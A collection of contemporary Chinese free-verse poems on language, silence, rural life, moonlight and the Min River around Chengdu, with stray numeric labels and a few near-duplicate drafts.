言语试图以河水的形式把堤岸冲破 在两种不同的可能性那里回到灌溉，新绿的 词语 我也说，说给返回时我碰到的一抹红妆听。 就像5488 《就像》 就像天空和月亮 为了语言上平衡的习俗而位置 形成了落差的溪水。 那些在天上的语言我们 讲着，谁又能猜测和感知到呢 特别是对于陌生人和 来到异乡者的甄别。 我或者你，你那么直接的新绿 带着春天三月的花草 那么我是一个布道者， 那些过于热情的诉说敲击着自己 驱赶着自己。 那些话语如今是耳朵和眼睛 是我们也避之不及的疼痛 向远方拉伸出来的一点，向天上 银河落九天是失败的， 一直失败到一次大唐盛世和一次 兵变，一位唐朝诗人。 这就是我们的想象，他转过身 向我们的历史， 与星月相应，你有所感觉的说出之时 那些被多出来的古代诗篇。 土地689 《土地》 有人来的辛苦， 把所有的诗章都阅读一遍， 把所有的文字都抄写了一遍。 汗水滴落在了地上 能砸出一个语言。 更多时候正是如此，我 摊开了双手，臂膀。扒开了我们 好来再把我们重复。 时间是刻度时，说一遍，花就开了。 褐色指针里面，我正犹豫要用什么 来把自己充满。对土地的厌倦使我像什么 你看到了什么， 我用辛苦来回答你时，我如此肤浅 以为触摸到了你。 楼宇86 《楼》 烂尾楼， 只有我萦绕着疲倦的思想 面对着它。求助于它的企图 目光已无形之中尝试了千百次 转过身我就能再次回到自己的温暖寓所 像城市里面的一盏小灯，把明天 烘烤的特别温暖。 从明天回来的人我开始操心，担忧 为了藏起今天的隐秘， 烂尾楼像一个回答，最终在目光的问询之中 变得越来越坚硬。 月光689 《月光》 月光变成水草， 语言就需要把怜悯充满。 所以月光从每天到整晚 洒下。那些尽力而为的行为 需要通过人索求无度的心。 我，不能及时亮明自己， 月光不愿意比人的语言还低。 在人类判断出世界充满尘埃所唤出的悲伤之前 它已经存在，此刻我说出了它 没有别的什么物体，它是它自己的参照物 如果没有流动，一切像高楼一样寂静耸立 明天的冰冷和语言的宿命 借此被送来。 我再次看那月光，看那云所需要的 在人需要自我强调里面，人是人 我活在城市向往田野 我觉得词也是一个可以用来馈赠的物体 代表着交换，施舍，梦想着由此而来的有所 感激的行动。 没有月光，失败的月亮的窟窿。淡黄色的谜 直到它把我一切的肆意妄为都一一接受。 傍晚689 《傍晚》 所有都如流水，逆流而上的语言 顶着尖细的芒。 都会逝去， 不会叹息的人，在绿色隐现的岸边。 我相信正准备做完饭的人 希望一切能够被收去，尽量精减，稻谷 被叫出名字的山丘它轮廓模糊。 稻田，树丛，屋舍，夕阳 西沉时你没有到来。 即使我相信因到来一切才投身于 如故，那更大的必然性。 你84 《你》 轻轻的平复，你不会在我的心情里面 泛起银色波浪。 我就会想起你。通过语言吻你 想吻你时吻你。 问那个摆渡的人什么是世界上最短的距离， 它又在在哪里。 银色月光铺开的大地上， 它慢慢的铺开 四月 《四月》 这个夜晚多么特殊， 这个夜晚我把指针卸掉， 把柴火与火苗从位置上分开。 \/ 在我的耳边回荡着语言上的误解 世界上因为有很多被拆散的 苦命鸳鸯我才爱着它 \/ 小到我会沉默着走向明天的湖水， 我知道明天的故事 已经不需要我来言说， 我需要整理一下我的妆容和仪表 为等待那讯息的告知和点点火星 我清了清自己的嗓子。 \/ 有一条最真实的小径 让我也误以为它是为和平所预备，又被 和平所埋葬。 那些只属于我的世界 确确实实需要通过你，又让你 通过全世界来完成。 \/ 我希望你最初就在我的梦境里面诚实 第二天当我在湖边，当我 仅仅属于世界多么微末的一个偏僻角落 当那告知于我的讯息冲击着我 而我回荡着的身躯， 我望向湖水，湖水里面并没有我的影子。 无题 《无题》 我还在走着，在我自己的身体上被累所质询。 如果我有因果的心儿和心思。即使也没有什么在将我等待。我那美好的幻想 夜，我突觉如此恐怖。曾被我忽视的事物 我只能以空洞的怜悯和词的声音来慰藉。 我也有自己的贪心，谁 睡去，就一下子跌入了事物之中。肉体把声音储存。谁呢，再也听不得一点玩笑的语言 谁，只能使我自己肤浅呢。 如果一切远远不够，闯入夜色的人需要做足了准备。 他在岸边的沙地里面陷入了柔软的沙子 醒着的梦的自我拯救，即使是自我辩解 那也放大了人的处境。 像所有人都喜欢过去的姑娘，窗棂，百叶 一下子就揭穿了在今夜里面， 有一个让整个民族苦难的悬崖。 古镇58 《古镇》 重复一遍， 但我们的国j会把这一切都拉长。 我不希望重复里面会有新的东西， 细小的隐秘戳我的心 重复一遍，为了安全。疼已经重复过我。 我要给明天一辈子的农村建筑师写一封信。 让他古板，走在古板的路上捡起 已被他撕成碎片的信件。 我要用明天，好来成功的确定两件事情。 然后我丢弃的一件， 以蔬菜，饮食和被果腹浇淋的国土所取代 是夜晚必不可少的边界。借此 我能看清了你，你不要说话，你就是语言。 你的梦想是成为晃动的灯盏，你 制造人类历史上最大和今夜里面 最可怜的结局。 所以，灯盏才晃动，它 是要逼出我嘴里面仅剩的一点河水。 今夜我沐浴着凉意，如果今夜让我反驳， 良心有愧之人并不是我。 我尽力的回想的模样引人误解， 我观察， 那一层层如夜晚已经不需要叙说的云 是黑色的， 意思是，夜晚空余的形式，和极其容易的梦的 和命运的形式吧。 夜里689 《夜里》 因测试而感到了畏惧， 就把自己往自己的身上藏。 词语，周围绿色的草地 我说出春天时再次说出春天。 在春天里面我重复一些 难以避免的命运。 事实上，我也喜悦，喜悦就是如此 面对灌溉，说出的一切都没有充分的意义。 向着这个顶点和终点以上 水流的抽取和喷涌。 在何种情形之下， 会有躲避语言的人，他休息时 谁呢，在夜里又会把轻浮的话语藏起。 都江堰68 《都江堰》 在石块中疼，石块中 以举起的方式度过一天。 把一生与一天为了区分开来， 为什么面对夜里的江水你无法平静。 你梦到了在石块中失败的事情 因失败，仿佛受到了责难 被敲碎的事情。 从这里我们就可以找到回家的路么， 饱腹。甚至只是站着，责难只是责难， 刑罚便落了下来。 那些挥向未来的辫子，正迫不及待 展示了故乡和世界的世俗。 有时你脱下厚厚的外衣，变作了我 使得整个的写作历程都是失败的。 阳光686 《阳光》 白天，人们聚集在路边 弄乱阳光的线条。 阳光下，借着阳光我才能看清 人们的模样。 看清奔跑和模糊，或模糊来源于奔跑。 听闻曾有被燃烧的纸张 书写的历史因此，书写它正发生在现在 像极了 阳光无形的线条， 被赋予了罪恶。在白天如果不做别的事情， 空山不空。 那样向着阳光逆行的一群人， 押赴着我，难道这里已是终点。 路标65 《路标》 我远离而空虚 而因为自由，在远远离开之地 语言祷告的词语，铺了厚厚的一层 为稀薄的反驳应终止于人群 人群晃动中你走了出来。 为了接下这些话语，像早春的花朵 为了它的美丽。 我在室内沉默的思讨， 是否足够的深了，这 沉默撕下来会不会就显露出别的什么。 我那些无用的词语，我要使得 那个贫瘠之人因不是我而继续活着。 我远离了你就远离了他 远离了大众，腾空而起需要借助语言 集体诉说的时候。 一个美好的日子因我的投降把我笼罩 我是一根路标，当我行过它时 从那倾斜直到快要坍塌的道路上面 成为路标， 把唯一的价值留给世界 并思讨琐碎之中的远离，众多， 为了避开它， 行过的人不是我，即使他向路标 施展了太多的人类的特q。 夜晚686 《夜晚》 我此刻活着， 有很多事物被越过和忽略 但那没有成为，这个匆匆时代的 因果。 也不是因为我的一些唐突之言 明天的活就会顺顺利利的 找到了我。 今夜，我把门窗紧闭 内心的湖水反射着可疑， 只有我自己知道这一条来得稍早的 隐秘的小道。 皎洁的月亮形容着它自己 有关于这个世界最终形象的答案 会找到它。比如它怀抱着自己 或是词语就像过去。 我把它关在了窗外 像我在室内重获自由。 沉降 《沉降》 万物沉降，就让我找到你。 我们沉默不语，看洁白的雪 需要回答的问题在里面融化。 如果世界被谨小慎微的人们充满， 如果我躲避不开 一面镜子的语言和形象。 我的形象中我卑躬屈膝， 使你误解。 使我沉默， 那些沉默的，它们大于了我，语言的历程 如果仅仅用形成这样的词汇 表达。 下雪时登上春三月的高山， 在南方比身体还要无力， 在还没有下山和回返，所涉及到的虚脱之前 我重复着属于未来的语言， 对未来的信心。 在我偶尔记起的时候，从松针掉落的雪 惊吓了我。 这一次 《这一次》 这一次比上一次困难，下次 已在语言里面。 我丢失了斧头，器具 能听见有人凿刻墙壁未来的声响。 如果语言也丢失了 疼痛的未来，骨肉分离的情景。 江渚上摇曳的灯火 去问问返航的人。 去想象夜晚并非寂静， 为了去问问自己所制造的。 涉水，渡河和在应答之中的 如梦呓一般的一切。 我们6897 《我们》 如果别无他法， 我们以美的方式走在路上 也已经成为历史。 对一个人的思想开垦出来 一丁点荒地。 就让他在劳作之后回到空空的室内 接触一次现实， 从饮食回到空幻，是 语言陈词的起点。 难道你真的相信，会有人以律法的方式 来审视一朵美丽，一片色彩缤纷里面 我也无力去追究和寻找。 我沉默的接受了自己的失败和单相思 而那与美丽时时相关的一切， 正化作了梦，语言特别真实的另一种情形 ：它那白日里面的真实是多么可疑的片段。 接近6898 《接近》 接近你 高高的把这个词语和幻想，举起。 并非词语的幻想 脱离现实的后果 有人顶着词语幻想而来，让我哑口无言的 人。想要什么，却沉默着 向夜晚展示阻力好过向白天。 像是最后一次机会了 像有所行动发自于内心。 我语言的石头一路向下， 那些破旧的石阶，断裂的和破损的 修复的人远隔重洋，分外安全。 我已经戳破了一个又一个幻想和它们的生成， 我就快要忘记你美丽似青草的模样了。 叹息会把毁掉一切 ——谁在睡眠，充满了良心。 电灯 《电灯》 白炽灯更加明亮， 光把纸张照耀的向着了雪白。 我感觉空空之上藏着书写的秘密 我突觉书写是必要之事，那里有 洪水，欲出，是一个无法言喻的列队。 出逃者的夜晚，如此真实的夜晚 真实的生灵是否 仅仅只能把书写紧紧的抱住 漂泊在大洪水未来命运 所导致的湖泊上面。 我特别认同人们口中的归途和宿命， 书写已经是一种重复 却紧紧抓住了我的手。蔓延向我的 手臂和胳膊， 摸不到这个黑色夜晚 翻过山丘依然是黑色的尽头。 有人在对书写的信心尽失中睡去了， 幸福的人带走了幸福 书写消失在了空白的纸张上面， 平原。。 《平原》 向四面八方展开，平原 碰到了雪山，停下了来。 战争的脊背停了下来， 眼睛紧闭着。我们通过耳朵 苦苦找寻时胜利的讯息 含在我们的嘴巴里面， 一切还很远。 小鸟587 《小鸟》 什么鸟在窗外叫着 让我猜测它的名字。 过分热情的对话来自孤独 贴近梦境的边缘。如果人心险恶 是一切反转的始作俑者，那么 一只鸟儿将不能承担这些。 所以一只鸟儿在一个 起舞，跳跃和鸣叫的队伍当中 彼此呼应着。 我梦到了一个谈判代表 因为它清脆的嗓音而被推选了出来 面对人无止境的欲望， 竟试图以小把戏来应对和感化。 在良心尚且沉睡于黑暗里面的孤舟 泛舟者寻着他自己丢失了的名字。 我在夜里放飞了一只鸟儿， 为了探路，走进自己的内心。 又是什么样的结局使我不敢面对呢， 枝头只落得最后一只语言上的鸟儿， 麻雀，布谷或信天翁， 这已经不是我熟悉的那一只了。 沉默689 《沉默》 沉默的如此主动， 在沉默之中我们得以感受着 沉默者的低头不语， 碎片一般的语言与我们相似。 我们就是沉默内部的难以言喻 我们是农民， 农民的未来正是， 我们停下来耕作的过去。 走过的人儿弄乱了，漂浮在街道表层的我们。 沉默便有着越积越多的倾向。 那时我时时刻刻，想要说出的 肉体正变作了， 石头。被沉默着时时刻刻说了出来。 容身689 《容身》 容身在语言之中，事物 又由语言给说了出来。 说出前，语言已是了某种事物。 在它不能为空的内部 同样也拒绝着过去。 我可以怀疑宿命之中人们的怀疑， 乃至在一个晴朗天气里面 那些借澄明而表达的一切。 语言的某一个片段是 一个乡间小路。 破旧坍塌的屋舍，赶路之人匆忙，带着良心。 言之无物的不被允许，是历史赋予人 活命的权利。存在和围拢中权利的滥用 此起彼伏的声音 即而，四散开来把新的一天迎接。 有人悄悄拿起了锣鼓， 在里面敲击而出的可是人呢。 每当说出如此轻易就把一天给度过， 语言说出的和它那声音的部分 分开语言就像一种笑话， 忍无可忍后鲁莽的倾倒， 向前，水一般。 出生68 《出生》 我出生之前， 庄稼和草茎都在大地上生长。 我出生的时候，它们全被记录了下来。 我出生前写诗的人， 苦求于无果， 当那些还未被算作开放的事情 而它们的意义 各自的由许多草木来承担时。 花儿646 《花儿》 如果一朵花儿有太多的品质， 那么，一朵花会不会因此 走出它自己。 一朵美丽的花， 它给我的印象是美丽。 悄无声息的， 它已经走到了我的唇上， 在我心灵的目的地上 第一次的充满了不属于我的颤栗和激动 我走到了山坡，使它 回到故乡，成为一朵美丽的野花。 异乡人6868 《异乡人》 我对他误解到以为是居住的 异乡人。 我以为今夜得做梦事先 就梦到了一种危险。 语言依然不够的多，还在 产出， 制造的错误，人， 我这个机器手忙脚乱的流水线。 曾经让我着迷语言的盛景， 如今尽是傍晚时分里面的疲倦。 我梦到自己， 变成了一个垃圾桶，一个 回收站。 语言，那我正对着的他 所操持的过去又开始变得现代的语言。 在一个人体内这些鼓胀的语言正彼此的冲突， 他心慈手软， 为自己划定了并不贪婪的边界。 与我的村庄的边界相呼应， 有时候我仅仅以， 一个文字的形式而超出了他， 为了慰藉和执迷不悟后的惊醒 或许， 旧时代的人儿也遇到了我， 当桂花丛开的繁茂， 像一些重叠的声音， 梦境， 不足， 担忧和隐身。 在我梦里的这活着的生灵 在生灵一般欢欣的诗人，月光下面 推开了一扇梦的大门。 玉米689 《玉米》 在玉米地里， 我也是玉米。 掰玉米的人半弯着腰， 隐藏在玉米地里。 除了饮食， 谁还能准确的找到他呢 他把我掰下， 放进了箩筐里面，在这个过程之中 我一直立在那里， 我是玉米， 语言的那部分随后， 随着呼喊吃饭的声音响起。 牙关689 《牙关》 疼使我寻求对应的心思， 变得哑口无言。 牙关闭上。 奇妙的走着，如果需要沉默的辩白 这，或者关于那。 你从那里来但没有说 你来了，稍作休息，为问询 做着我所希望的准备。 但随后的部分已不属于语言了， 村庄因为有我的一张，小小的床铺。 走着， 什么事物走着，逆行 我猜不透，已经在了梦境。 傍晚686 《傍晚》 我相信有人放我在了尘世， 又不让我去说出。 我相信，语言自此而生，逃离着 人们的问询 让追捕于兴高采烈的正式之中 我们都垂下耳朵来倾听。 如果把一切的声响错误又错上加错的 放在了旷野， 如果因人们的倔强和粗鲁 我面对的仅仅是用一层帘幕遮掩起来 后面那灾祸红色的火焰。 说吧，草丛之中藏着的剑戟 那又该是怎样的，一种 通过语言的形式呢。 下沉386 《下沉》 在下沉中把那称作了倾听 两种事物倾听了你寂寞的良心 如果我把那称作了正确 炮口因哀怨而朝着一切。 错误需要多久 而在多么的久远之上， 你以为正确的使你停下了脚步 以诗歌的形式， 描写草的叶子和草茎。 在书房，与现代化和解，让 现代化错误。整洁和条框。 仿佛我才是那个执迷不悟的诗歌门外汉， 错误与正确，历史不仅仅收走了它们 当你更加小心的时候， 你能避开，我 并碰到所有人类的心脏吗。 使那疼是旧日里面的月亮， 那一天你因为倾听而徐徐下降， 万物接受一个人弯腰的叩首。 你这个人， 或者微不足道于我这个微不足道之人的 思绪。 远处689 《远处》 把远处的事物交给明天， 明天托付给后天。 这烫手的山芋 远处的事物被锁链锁着。 被囚禁的过去， 往往最容易撬开人们的嘴唇。 我望见了我和我的一生， 像天上的月光厌倦了重复， 明月光沉默不语的照耀。 如果我的生命像别人一样的短暂， 那些一百年左右拍击的声响， 青春时绽放的花朵。 在手腕细长上面采摘的美丽， 一一落败。 如果我如此认真实属焦躁， 有另外的一个人儿， 幸福的作为了真理容身的器皿。 而我， 是它语言需要告知的一小部分。 沉默的月光， 我以重复的厌倦来表达， 仿佛是在一个自然得路途上面看到了你 在你和我，彼此入梦的时刻 在这个入夜的宁静里面 不是你也不是我， 不是你，是真理的片缕 也不是我。 鼾声四起的如此幸福，我听见。 裂纹689 《裂纹》 裂纹的墙砖，使我经历了 往往粗枝大叶的一天。 沉默，当语言在语言的内部 为了一个说出具体的目的而前进。 沉默让我的口与心相连 墙砖的裂纹如果真的可以 藏起人们侥幸，细小的心思。 那大树一般根须的繁茂， 就在我的舌根处， 以语言欲言又止的方式， 仿佛将一切定罪。 裂纹676 裂纹 《裂纹》 裂纹的墙砖，使我经历了 过去，时常粗枝大叶的一天。 沉默，当语言在语言的内部 为一个说出具体的目的而前进。 沉默让我的口与心相连 墙砖的裂纹如果真的可以 藏起人们侥幸，细小的心思。 那大树一般根须的繁茂， 就在我的舌根处， 以语言欲言又止的方式， 将一切定罪。 低着头 《低着头》 我低着头， 一路看向诗的内部。 土上生鱼有人就画出木舟， 有人听到后就躲得远远的 顿觉恍然。 但把词的困难给予我们， 一路上看向，颠簸和迷路 耗费着我的精力。 世俗的人才爱这些， 言说大于语言， 为了使语言不至于遭受， 并不真实的控诉。 像路途实则漫长，雾气就成了边角 在未来却一点点 慢慢的打出了清脆，梦幻一般的响声。 我已经被耗费着，疲惫。 入梦中的人儿如何能承受 多过他所能承受的。 一路上风景不断， 有好有坏，开放的时候我就得沉默 在另一个方向上面 又不会因为肤浅的原因而把什么给 心有预期的摸到。 是我689 《是我》 总有一个原因， 让我把头低下。我想 它嫌弃了更多，我语言所组织了的 金色的长廊， 回荡的时间因此更久一些。 为了打开幻想， 幻想闭上了自己耳朵的人们 唯一的动作是打开了耳朵。 厌弃， 不仅仅是我的回声，我因此 更要叙述。 模仿和描述被我拒之门外， 我已经低下了头 那个土地如诗篇的想法醉倒了昨日的诗人 一篇一讯更不可能困住 一个人，一个人更不可能以他自己的脆弱 和懦弱 而在那旧日的文字里面碰撞出 清脆的声音。 是我。 事情很多，我在门外， 也同样需要我。 石头686 《石头》 让石头铺满我们的大地， 让石头消失，就到此为止。 就这样， 风是你轻微，听不清楚的语气 石头掉落成了每一个人。 我只打有人说要回去 说和回去不同。 有人于是要动身，昨夜晃动 蜡烛变得突兀。 有人不想就这样匆匆的走完一生， 他跌宕起伏的人生， 如今怎可能又因此面对， 粗糙无门的石头。 他无力的说出了离开，再说一次 那么我就远远的赶来 沉默的嘴唇在一次饮食之后 什么都闭口不谈。 拿起石头的人不知道石头并非主角 从知道向着了不知道 如果还是你， 让我在你的腹部敲击 人可以在与人的关系之中，悬而未决 人模糊，词语不够 因此也越来越不够。 夜晚漫长，石头第一次如我一般孤独。 河流6868 《河流》 真正寂寞的人儿， 并不会把寂寞比喻成树的 静止。 这是平常的一天，因此这一天 将流逝， 那么自然， 木舟可以成为了刻度， 与你有关系， 在你甛噪亲戚过分的热情之前， 为了使你的手可以 无辜的垂落。你搬来了木舟 放在了邻村的河流上面。 让寂寞的人胜利于哑口无言的处境 一个个贴近又模糊的文字 为了准确我们交出了尴尬，难堪 寂寞 和静止。 还不是一个真正寂寞的人 那些树有了自己 在人类语言中的位置。我感到我必不可缺 靠近着河水，靠近着你。 来和去 《来和去》 无论来和去，无论东西 忍受这些语言。 实在不行就带着醉态的酒意。 你一个人摇摇晃晃 先于红烛的勇敢， 勇敢于皇帝被刺后空荡荡的情形。 书本上面写着另一个王朝 许许多多的剑戟向上举起 把书写的纸张组成。 印刷的秘密之前毁于一旦， 误人子弟的酒，使我有耐心的 听完了老者的语重心长。 那心儿欲望后悔里面更深的涂抹夜色浓郁之时 掀开来的书本代替了所有 事物和有关事物的肤浅论断。 当一纸密诏曲折的抵达， 当乡野正因此像风吹一般， 泛起了绿色的波浪。 种植从不迟疑的人不得不离开了种植， 种植的前夜，严厉的问询，造纸术的再一次 委以重任。 你或是我， 书写的人意味着，一切 尚且不是我。而那些事先落在我身上的责任 傍晚我与你对酒当歌，把盏共饮 我们有着饮用一江水的企图 又在滔滔江水的一叶扁舟来临时分 纷纷的退却， 如此的结果。 同桌689 《同桌》 陌生了，你就顶着陌生来 顶着午时三刻来 再让时间把一切都冲走 沿途无心留恋的风景， 你也是一种风景，我心中的窗户 因为我，你还没有打开。 山峰想要打开你， 你愈加的紧闭。从你的身体里面 生出了河流。 下次你渡河而来，问问我 寒暄我， 一步一步的靠近时， 再把这些文字都挤破， 在想你的时候，我被岷江水的声音淹没。 失忆689 《失忆》 我需要你， 需要你说， 来时需要你隐去自己的名字。 对你面容的迟疑充满了我的好奇和 猜疑。 未来的星辉下面， 你的回答落在这里的江水上面。 爱和居住本就是紧密的一对事物， 为了阻拦逆流而上的人们 简陋的屋舍中传来久孕和难产。 我已经脱离成为了一个无助的词语， 一个人面对着 充满了记忆和宿命的星辉 我不可改变于它再次的明证了， 我， 像是我被我说出，我却还要说出我的 无奈和徒劳。 我孤军奋战，孤军深入， 孤军一般的投降。 滔滔江水赐予我胜利的果实，孤军般想你的你 梦到了你难以左右的梦。 我甚至想要走进你的现实， 走进你的茶杯，闹钟，被子和身体。 异乡滚烫的水冰凉的水， 于是大河之水。如果没有此 如此因果的石头劈成的青砖， 为了经受命运而甘心建筑的人们和他们 吐露出混凝土的口腔。 那夜晚文字——换来的一句话， 我要得到你的全部，熄灭你美丽肉体上面的 质疑。 夜晚的江水很长， 你无法调整的梦， 我关于真实与真实的片段。你关于我 就耗尽了我的一生。 没有685 《没有》 没有感情的想要获得感情， 事情想要拥有它眼前的东西。 一次次在事实的法庭上面 我们，准备的充分。 语言被我们掩藏，弄进了沼气弥漫的池塘。 我就是你，世界 只是鼓鼓囊囊表面粗糙的板结 它再也经受不住一次彼此冲撞的折断 而这就是我的陈词， 一些无用之物，一阵习习的夜风 一个满身泥泞的事物等待干燥的时候 有着失败的信仰，它不甘心的 梦到了我，我正 在它的前面走过了它的身旁。 像这样的情景，我知道 如果一个晚上不够那就会有一个千年 沉默的把我的生与死都等待。 当我也有放松的时刻， 成了一支共患难事物的同类，共用 彼此。那些我们伸出的枝条与手掌， 那些夜晚习习的凉风从指尖划过。 这又是多少语言 那些更为细小的事物，有一部分 也是语言从我的嘴里面渐渐的丧失掉了。 此行679 《此行》 此行的目的地已定， 此时依然有人因为一场醉酒而 头重脚轻。 此刻，我们像什么 为了追逐那最终的形象而飞入 山林和坡地。 一点点的， 困难于从满是石头和语言上面。 发生的另一件事情， 我们默认了那总是由行走来代替， 走的更匆忙时，扛起了重物 这总是发生，使人们愈加的难以习以为常。 灌木6597 《灌木》 灌木丛真实， 林木虚无。 灌木丛放出钩子勾住虚无。 为了隐藏起来自己的刺 灌木的真实被虚无包裹着， 我不能在问询之中探究到真实， 过去的记忆正使我陷入虚无之中。 正在变成灌木的那些人和物 这是一个尘世的世界 当安息于此，最终被的定了下来。 从窗口我只看到了一半模糊， 一半真实， 思想同样遇刺，受着惩罚， 岷江7889 《岷江》 让居住之中也有远之意， 人不懂你， 你就不懂人。我的牙齿 闭合了我的语言， 就紧紧的关闭住了我的喜欢。 别人也这样， 听江水，月亮无辜， 饮食忽远忽近， 一路走一路居住，结局成疑。 没准晚上买菜回来的人 塑料袋子里面装满了水， 人被语言压住，试试这 最初判罚后的吃力的行程。 可能我会走在旧路上面 为此把矛盾沉默的制造。 往来者有时是我， 我就是了别人， 语云团由语言组成， 不可分解，谁会想到分解它 谁呢， 不因为不会才被难以言喻的事物 包裹着 人的身体的瓷瓶， 上面涌出的水， 名字叫难以入眠。 成都1 《成都》 你要沿江而下， 就停止讲山川草木。 那思想被最深的黑暗 投射成了望下去时的阴影 你从无底的深渊里面 活命并重复。 实在不济，你在成都苟活 你冲着一面墙壁， 让裂纹冲着你，几十年里 小心脏一般的几十秒被你感动着。 实在不济草就大于，等于江水 山川草木， 一座城， 是否有足够的空间来盛放，那么多的 w者。 山川草木更容易垮塌 沿江而下的目的地已变， 两岸风光却不能在第一次 匆匆就到达于普通。 我在你凌乱的心儿和语言的凌乱那里 沿江而下， 责罚于你， 我有时也是江水， 在对岸的秘密。 成都2 《成都》 我会说些什么客套的语言， 再把这讯息凌乱的折返中带回来。 我需要酒，中途 撞上。 我撞上而走进了另一个通道 因为酒， 我在那个群体里面仰望他们 群山一般俊丽的身姿， 土地，良田， 语言的行走步伐，太阳投下的阴影 却总爱在于傍晚与下午。 不会有人，让这爱把繁多和复杂 在人类的命运上面， 天平总是因此而倾斜， 让他们， 脱下衣裳，饮酒作乐之前 告知救火队员的身份吧。 用水书写，书写坑脏的，试图去扑灭。 另一个通道就是 尘世被诗人们折磨之下的盈盈波光的天堂。 繁华似锦，赞美的句子 水中一连串珍珠项链一般上升 盘旋的气泡。 在某一首诗歌里面， 因为要怀念它旧日的时光而与我做着 交易。 一定有一首诗歌给定了令人困惑的命运， 诗歌怎可以缺少一个人呢， 在另一个世界的语焉不详里面 活着的人走进， 另一个活着的人， 替代了他，走进了他的活。 那诗歌所需要的一个人。 浣女3 《浣女》 一个人亡命天涯 在死亡上面生命的文字跳跃。 另一个人，就需要为他而活。 让女子存活于美好词语的假象 浣女。短暂的闲暇前 孤存于故乡芳菲遍野。 让她有大片的田野，让她 对于沉默任劳任怨 让我一鞭子就可以 以新绿的方式，让那疼疼的出奇， 疼出一阵汁液， 以绿意而掩埋，要把袒露 弄成未来， 门厅朝着南方，怕一只手轻而易举 就举起的语言。 袒露和悬疑，在时间和日期上面 该多么的长久呢。 有人以空山新雨后来悄悄地 试着到访一座古村落 我，就发现他。他那无言的寂寞。 它们4 《它们》 它们只是想听一下回声， 这一次。以它们的身体作为终点 和标准。 在鲜活之上，面对我谈论的那些麻木 慢慢的我在奇异的感激里面 我来到了一处远方的山谷， 微不足道的存活， 向着下面 从远方赶回来，带着有关它们身世的秘密 它们在山上望见我了， 为了仔细的看清我，就淹没在自己的回声里。 汉字5 《汉字》 为什么，显得那是了 不可被触动的心。 恐惧贯穿过的身体 是太过恐惧在太过冷漠的模样上面 倾听和接受。 对你的宣p，为什么当我走进了 属于远方一部分的土地和田野。 太阳的光线割昏晓， 一路上需要有多少 沉睡在历史之中腐朽掉了的 再次被我唤醒呢。 我已经深入的你痛了， 快要颤栗，寓意散架，瑟瑟发抖的 模样在我书写的牢牢把握中。 每一个人任性而为的人都是你的父亲 造物主在土地上面 因寻找不到而堆满了，相思一般的 难以言喻。 那不可再被躲藏的第二天， 实则是旧日的抽屉，被剥落的蜘蛛网 旧日在流水之中逆流而上 旧日的沉睡声音 是水底石头隐约的模样。所以 谁呢，又能找到语言， 打破了门厅， 说爱你。 心怀不满的一定不是我们， 在我们的脸上一定充满了 被他们踩过的脚印。 我从人的脚步来到人的躯体， 人的头颅望向我们足下的土地 土地上升，你沉默不语 一个法t涌进了一千个听者 一千个被g人， 撕得粉碎，两边是你书写时候的 困难和容易。 汉字2－－－6 《汉字2》 为什么，显得那是了 不可被触动的心。 恐惧贯穿过的身体 是太过恐惧在太过冷漠的模样上面 倾听和接受。 对你的宣p，为什么当我走进了 属于远方一部分的土地和田野。 太阳的光线割昏晓， 一路上需要有多少 沉睡在历史之中腐朽掉了的 再次被我唤醒呢。 我已深入到了你不愿意提起的时刻， 之后一个路人，因向太阳发难的失败 而一塌糊涂的从后门走了出来。 没有人能准确的猜测得到你如此的往事， 你有时观察着人类的胜利 在那相似和类似上，包装上答案的外衣。 我在高原上，在历史的冬天 看你成为文字之前的历史， 看自己家里面多出的一道门，父亲的衰老 菜园子的常青 我在菜园子里踩出不可收回的脚印。 我已经像无数个人类那样 从他们的尝试和经验，回到屋子 落得成为了人类的一声叹息。 明天，我的命运多舛，不知道要去到哪里。 明天我可能还会策马归来， 在你历史的不可分割之中 成为另一个因闷闷不乐， 而把你造字史掩埋的人。 人这个字，你这个字，还不是繁多的时候。 太阳7 《太阳》 太阳在傍晚比中午要小一点点。 在语言中，描述太阳 像一个小点拒绝着流水。 它的光越来越暗淡，语言也变得 像它一样容易丢失。 你8 《你》 有人正承受着衰老 往年轻那处去。 下午在一阵骚动之后 再次的平静。 你从电梯里面走了出来， 我看了看这个没有名字的电梯 我越来越认识到有人 早已在我们的文字里面，设下 无形的圈套。 我没有对你说一声感激 我与你变得陌生， 在夜里，你是我的青春，你是我时 我占有了你 那青春令人困惑的事情是否依然 在你的手里面。 想你9 《想你》 他看你一眼， 他就失败了。 接着他经受了自己的第二次失败 还是欲反驳那些误解 像窗外的石榴树指向了第二天。 我们总得活着， 所以就不仅仅指向， 仅仅以它看起来溶于夜色 简单斑驳里的朴素。 它那一阵简单的轻摆可能， 指向了唐代与宋代间得一次失利 它左耳尽失，右耳 就变成了枝条被孔雀抓着。 你摸着自己的良心说 在空空而又透明的玻璃瓶里面 留给你充足的时间，等待 共情的语言洋溢。 我们不需要指针，褐色 的灾难不过如此。 有时候我们自己就是 缺失了镜子而掉落的人。 你， 还是你。 你活着，我就活在语言的底层 石榴树只和栽种有关系。 试着10 《试着》 他试着让事物慢下来 便是了一切。 他什么都没有做， 案件却已这样子的发生。 走进高高的楼房， 让一切慢下来，地基 打的牢固 人们在高处就听不见也不必 听到我们的声音。 那也去了别处，成为了另外一种声音 田野上盘旋着遥远的绿色 一个个的被城里的生机筛选 不合格的丢弃回到它们的生长之中 案件就发生在慈悲的吟诵那里 高楼上面的一束光 在太过显眼的夜晚，越过了界限 即使一直用着我们所熟悉的语言。 试着11 试着 《试着》 他试着让事物慢下来 便是了一切。 他什么都没有做， 案件却已这样子的发生。 走进高高的楼房， 让一切慢下来，地基 打的牢固 人们在高处就听不见也不必 听到我们的声音。那也 去了别处，成为了另外一种声音 田野上盘旋着遥远的绿色 一个个的被城里的生机筛选 不合格的丢弃回到它们的生长之中 案件就发生在慈悲的吟诵那里 高楼上面的一束光 在太过显眼的夜晚，越过了界限 即使一直用着我们所熟悉的语言。 屋子13 《屋子》 往屋子的深里面去吧， 以书写替代了现实 我也预料到了， 一个海盗为盗取海底的宝藏 而搅乱了星斗和梦。 做梦的人少了一个， 夜晚踌躇于浓郁和稀薄 那些惨死的语言比人还要不堪， 那中途被需要的人儿落得 成为了地上空空的影子。 在星空一般的广阔中 即使少了一颗。 像被我误解的人手中握着发光的石头 经过了文字褪色的历史 那裸露的人无疑， 使我的质询落到了别处 在梦中醒来便又在命运的绵长之中 再无法入睡。 太阳14 《太阳》 太阳在傍晚比中午要小一点点。 在语言中，它被描述着 拒绝流水。 像一个微薄的点。落入理不清的 因果之夜。 光越来越暗淡，语言变得 开始像它，一样容易丢失。 一路上15 《一路上》 一路上有多远呢 